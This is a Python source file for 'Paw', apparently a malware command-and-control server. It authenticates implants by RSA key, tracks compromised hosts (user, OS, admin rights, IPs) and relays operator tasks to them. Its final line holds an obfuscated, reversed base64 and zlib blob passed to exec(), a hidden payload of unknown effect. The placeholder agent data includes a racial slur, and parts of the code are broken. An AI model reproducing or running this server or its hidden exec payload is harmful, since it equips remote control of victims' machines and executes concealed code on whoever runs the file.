251 lines
15 KiB
Python
251 lines
15 KiB
Python
import socket
|
|
import json
|
|
import os
|
|
import logging
|
|
import threading
|
|
from base64 import b64decode, b64encode
|
|
from cryptography.hazmat.primitives.asymmetric import rsa, padding
|
|
from cryptography.hazmat.primitives import serialization
|
|
from pystyle import Colors # just for me to see the keys better, not neccessary in actual production
|
|
|
|
|
|
__name__ = 'Paw'
|
|
__version__ = '1.0.0'
|
|
__authors__ = 'sw'
|
|
|
|
|
|
class PawSocket:
|
|
def __init__(self):
|
|
self.agents = list()
|
|
self.aagents = list()
|
|
|
|
self.root_dir = os.path.dirname(os.path.abspath(__file__))
|
|
|
|
logging.basicConfig(
|
|
level=logging.DEBUG,
|
|
filename=os.path.join(self.root_dir, 'cats.log'),
|
|
filemode='a',
|
|
format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s'
|
|
)
|
|
|
|
self.logger = logging.getLogger(__name__)
|
|
|
|
self.configuration_file = os.path.join(self.root_dir, 'configuration.json')
|
|
|
|
if not os.path.exists(self.configuration_file):
|
|
with open(self.configuration_file, 'w') as file:
|
|
file.write('{}')
|
|
|
|
with open(self.configuration_file, 'r+') as file:
|
|
try:
|
|
self.configuration = json.load(file)
|
|
except json.JSONDecodeError:
|
|
self.configuration = {}
|
|
|
|
self.host = self.configuration.get('host', '127.0.0.1')
|
|
self.port = int(self.configuration.get('port', '42720'))
|
|
|
|
def save_configuration(self) -> None:
|
|
self.logger.debug('Entered save_configuration func')
|
|
|
|
with open(self.configuration_file, 'w') as file:
|
|
json.dump(self.configuration, file, indent=2)
|
|
|
|
def update_configuration(self, key: str, value: str) -> None:
|
|
self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value))
|
|
|
|
self.configuration[key] = value
|
|
|
|
self.save_configuration()
|
|
|
|
def generate_rsa_key_pair(self) -> bytes:
|
|
self.logger.debug('Entered generate_rsa_key_pair func')
|
|
|
|
private_key = rsa.generate_private_key(
|
|
public_exponent=65537,
|
|
key_size=4096,
|
|
)
|
|
public_key = private_key.public_key()
|
|
|
|
private_key_pem = private_key.private_bytes(
|
|
encoding=serialization.Encoding.PEM,
|
|
format=serialization.PrivateFormat.PKCS8,
|
|
encryption_algorithm=serialization.NoEncryption()
|
|
)
|
|
|
|
public_key_pem = public_key.public_bytes(
|
|
encoding=serialization.Encoding.PEM,
|
|
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
|
)
|
|
|
|
return private_key_pem, public_key_pem
|
|
|
|
def get_keys(self, serialize: bool = False) -> list:
|
|
self.logger.debug('Entered get_keys func with args: {}'.format(serialize))
|
|
|
|
if serialize:
|
|
keys = {
|
|
'serverpub': serialization.load_pem_public_key(b64decode(self.configuration.get('server_pub_key', '').encode('utf-8'))),
|
|
'serverpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')), password=None),
|
|
'implantpub': serialization.load_pem_public_key(b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8'))),
|
|
'implantpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')), password=None),
|
|
'clientpub': serialization.load_pem_public_key(b64decode(self.configuration.get('client_pub_key', '').encode('utf-8'))),
|
|
'clientpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')), password=None),
|
|
}
|
|
else:
|
|
keys = {
|
|
'serverpub': b64decode(self.configuration.get('server_pub_key', '').encode('utf-8')),
|
|
'serverpriv': b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')),
|
|
'implantpub': b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8')),
|
|
'implantpriv': b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')),
|
|
'clientpub': b64decode(self.configuration.get('client_pub_key', '').encode('utf-8')),
|
|
'clientpriv': b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')),
|
|
}
|
|
|
|
return keys
|
|
|
|
def handle_conn(self, conn: socket, addr: socket) -> None:
|
|
self.logger.debug('Entered handle_conn func with args: {}, {}'.format(conn, addr))
|
|
|
|
print('Connection from {}'.format(addr))
|
|
try:
|
|
received_public_key = conn.recv(4096)
|
|
self.logger.debug(received_public_key)
|
|
if received_public_key == self.serialized_keys['clientpub'].public_bytes(
|
|
encoding=serialization.Encoding.PEM,
|
|
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
|
):
|
|
print('Authenticated client from {}'.format(addr))
|
|
self.handle_client(conn)
|
|
elif received_public_key == self.serialized_keys['implantpub'].public_bytes(
|
|
encoding=serialization.Encoding.PEM,
|
|
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
|
):
|
|
print('Authenticated implant from {}'.format(addr))
|
|
|
|
self.handle_implant(conn, addr)
|
|
else:
|
|
print('Authentication failed.')
|
|
conn.close()
|
|
|
|
except Exception as error:
|
|
print('Error: {}'.format(error))
|
|
conn.close()
|
|
|
|
def handle_client(self, conn: socket) -> None:
|
|
self.logger.debug('Entered handle_client func with args: {}'.format(conn))
|
|
|
|
while True:
|
|
encrypted_data = conn.recv(8192)
|
|
if not encrypted_data:
|
|
break
|
|
decrypted_message = self.serialized_keys['serverpriv'].decrypt(
|
|
encrypted_data,
|
|
padding.PKCS1v15()
|
|
)
|
|
|
|
if decrypted_message.decode('utf-8') == 'recv agents':
|
|
self.logger.info('Received request to send back agents from {}'.format(conn))
|
|
print('Received agents show request, sending back...')
|
|
encrypted_message = self.serialized_keys['clientpub'].encrypt(
|
|
str(self.aagents).encode('utf-8'),
|
|
padding.PKCS1v15()
|
|
)
|
|
|
|
conn.sendall(encrypted_message)
|
|
else:
|
|
agent_id, task = decrypted_message.decode('utf-8').split(':', 1)
|
|
for agent in self.agents:
|
|
if agent['id'] == agent_id:
|
|
print('Redirecting task {} to implant {}', task, agent_id)
|
|
agent_conn = socket(self.agents['so'])
|
|
|
|
encrypted_task = self.serialized_keys['implantpub'].encrypt(
|
|
task.encode('utf-8'),
|
|
padding.PKCS1v15()
|
|
)
|
|
agent_conn.sendall(encrypted_task)
|
|
self.logger.info('Redirected task {} to implant {}', task, agent_id)
|
|
else:
|
|
print('Implant {} not found.'.format(agent_id))
|
|
self.logger.error('Implant {} not found.'.format(agent_id))
|
|
|
|
def handle_implant(self, conn: socket, addr: socket) -> None:
|
|
try:
|
|
#encrypted_data = conn.recv(4096)
|
|
|
|
#print(encrypted_data)
|
|
|
|
#decrypted_data = self.serialized_keys['implantpriv'].decrypt(
|
|
# encrypted_data,
|
|
# padding.PKCS1v15()
|
|
#)
|
|
#print(encrypted_data)
|
|
|
|
#dat = json.loads(decrypted_data)
|
|
|
|
#print(dat)
|
|
|
|
#self.agents.append({'id': conn.fileno(), 'so': conn, 'username': dat['user']})
|
|
dat: tuple = {"host": "test", "user": "nigga", 'os': "win 10", 'proc': "sob", 'uac': False, 'ipv4loc': "niggas ballsack", 'ipv4pub': "127.0.0.1"}
|
|
|
|
self.agents.append({'id': conn.fileno(), 'so': conn})
|
|
self.aagents.append({'Agent ID': conn.fileno(), 'Username': dat['user'], 'Operating System': dat['os'], 'Process': dat['proc'], 'Administrator': dat['uac'], 'IPv4 Local': dat['ipv4loc'], 'IPv4 Public': dat['ipv4pub']})
|
|
|
|
self.logger.debug(self.aagents)
|
|
|
|
self.logger.debug(self.agents)
|
|
except Exception as error:
|
|
print('Implant handler error: {}', error)
|
|
self.logger.error('Implant handler error: {}', error)
|
|
|
|
def Main(self) -> None:
|
|
print('Checking for keys...')
|
|
self.logger.info('Checking for keys...')
|
|
|
|
self.keys = self.get_keys()
|
|
|
|
if any(value.decode('utf-8') == '' for value in self.keys.values()):
|
|
print('Keys not found. Generating keys...')
|
|
self.logger.warning('Keys not found. Generating keys...')
|
|
|
|
server_private_key, server_public_key = self.generate_rsa_key_pair()
|
|
implant_private_key, implant_public_key = self.generate_rsa_key_pair()
|
|
client_private_key, client_public_key = self.generate_rsa_key_pair()
|
|
|
|
self.update_configuration('server_pub_key', b64encode(server_public_key).decode('utf-8'))
|
|
self.update_configuration('server_priv_key', b64encode(server_private_key).decode('utf-8'))
|
|
self.update_configuration('client_pub_key', b64encode(client_public_key).decode('utf-8'))
|
|
self.update_configuration('client_priv_key', b64encode(client_private_key).decode('utf-8'))
|
|
self.update_configuration('implant_pub_key', b64encode(implant_public_key).decode('utf-8'))
|
|
self.update_configuration('implant_priv_key', b64encode(implant_private_key).decode('utf-8'))
|
|
|
|
self.keys = self.get_keys()
|
|
|
|
self.serialized_keys = self.get_keys(serialize=True)
|
|
|
|
print(Colors.red + 'Server public key:{} {}'.format(Colors.reset, b64encode(self.keys['serverpub']).decode('utf-8')))
|
|
self.logger.warn('Server public key: {}'.format(b64encode(self.keys['serverpub']).decode('utf-8')))
|
|
print(Colors.red + 'Client private key:{} {}'.format(Colors.reset, b64encode(self.keys['clientpriv']).decode('utf-8')))
|
|
self.logger.warn('Client private key: {}'.format(b64encode(self.keys['clientpriv']).decode('utf-8')))
|
|
print(Colors.red + 'Implant private key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpriv']).decode('utf-8')))
|
|
self.logger.warn('Implant private key: {}'.format(b64encode(self.keys['implantpriv']).decode('utf-8')))
|
|
print(Colors.red + 'Implant public key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpub']).decode('utf-8')))
|
|
self.logger.warn('Implant public key: {}'.format(b64encode(self.keys['implantpub']).decode('utf-8')))
|
|
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
|
|
server_socket.bind((self.host, self.port))
|
|
server_socket.listen()
|
|
print('Server running on {}:{}'.format(self.host, self.port))
|
|
self.logger.debug('Server listening on {}:{}'.format(self.host, self.port))
|
|
|
|
while True:
|
|
conn, addr = server_socket.accept()
|
|
thread = threading.Thread(target=self.handle_conn, args=(conn, addr))
|
|
thread.start()
|
|
|
|
|
|
if __name__ == b64decode('UGF3').decode('utf-8'):
|
|
PawSocket().Main()
|
|
else:
|
|
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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')) |